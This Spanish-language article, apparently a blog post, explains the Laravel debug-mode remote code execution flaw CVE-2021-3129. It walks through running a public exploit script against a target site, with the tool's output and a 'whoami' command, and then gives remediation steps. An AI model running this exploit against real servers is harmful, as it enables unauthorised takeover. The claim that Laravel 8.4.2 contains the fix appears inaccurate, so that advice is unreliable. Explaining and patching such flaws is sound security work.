En febrero de 2021, un investigador de seguridad descubrió una grave vulnerabilidad en el popular framework PHP Laravel. La vulnerabilidad, designada como CVE-2021-3129, permite a los atacantes ejecutar código arbitrario en el servidor que ejecuta la aplicación vulnerable, lo que potencialmente puede llevar al compromiso total del servidor.

Cómo funciona el exploit

La vulnerabilidad se origina en un fallo en la forma en que Laravel maneja la entrada del usuario cuando está en modo “Debug”.
El modo de depuración es una característica de Laravel que permite a los desarrolladores diagnosticar y resolver errores mostrando mensajes de error detallados.

Sin embargo, si un atacante logra enviar entrada especialmente manipulada a una aplicación Laravel que se encuentra en modo de depuración, puede explotar esta vulnerabilidad para ejecutar código arbitrario en el servidor.

Prueba de concepto (Proof of Concept)

En esta prueba de concepto utilizamos un script creado por Joshua van der Poll para explotar la vulnerabilidad de depuración de Laravel (CVE-2021-3129).
Esta vulnerabilidad afecta a sitios Laravel tanto en Windows como en Linux.

El script está disponible en GitHub en: joshuavanderpoll/CVE-2021-3129.
El script en Python verifica si el sistema es vulnerable y permite ejecutar comandos en el sistema objetivo.

Para comenzar, descarga el script desde GitHub y sigue los pasos de configuración en el archivo README.md.
Una vez configurado, ejecuta:

$ python3 CVE-2021-3129.py

Verás una salida similar a esta:

Laravel Debug Mode CVE script
[•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129
[•] Using PHPGGC: https://github.com/ambionics/phpggc
[?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/
[@] Starting exploit on "https://unsafe_laravel_site.com/"...
[@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Windows based machine.
[√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log".
[•] Laravel version found: "7.30.4".
[•] Use "?" for a list of all possible actions.
[?] Please enter a command to execute:

Cuando el script confirme que el host es vulnerable, puedes empezar a ejecutar comandos. Por ejemplo:

execute whoami

Esto generará una salida como:

[@] Executing command "whoami"...
[@] Generating payloads...
[√] Generated 12 payloads.
[@] Trying chain laravel/rce1 [1/12]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[√] Result:

autorite nt\iusr

[?] Do you want to try the next chain? [Y/N] : n

Como puedes ver, si la vulnerabilidad no ha sido corregida, el script permite ejecutar comandos en el sistema objetivo. Esto puede llevar al compromiso completo del sistema o a la instalación de puertas traseras.

Cómo corregir la vulnerabilidad

El equipo de desarrollo de Laravel lanzó rápidamente un parche para esta vulnerabilidad en Laravel versión 8.4.2.
También publicaron un aviso de seguridad instando a todos los usuarios de Laravel a actualizar lo antes posible.

Para actualizar tu instalación de Laravel a la versión corregida, ejecuta desde el directorio raíz de tu proyecto:

composer update laravel/framework

Este comando actualizará Laravel a la versión más reciente, que contiene el parche para CVE-2021-3129.

Después de actualizar, asegúrate de que el modo de depuración esté deshabilitado en entornos de producción.
El modo Debug debe usarse solo en desarrollo y pruebas, nunca en producción.

Resumen

En resumen, CVE-2021-3129 es una vulnerabilidad grave que puede permitir a los atacantes ejecutar código arbitrario en un servidor que ejecute una aplicación Laravel vulnerable.
La vulnerabilidad fue corregida en Laravel 8.4.2, por lo que si estás usando una versión anterior es crucial actualizar cuanto antes.

Además, asegúrate de que el modo Debug esté deshabilitado en producción para minimizar el riesgo de explotación.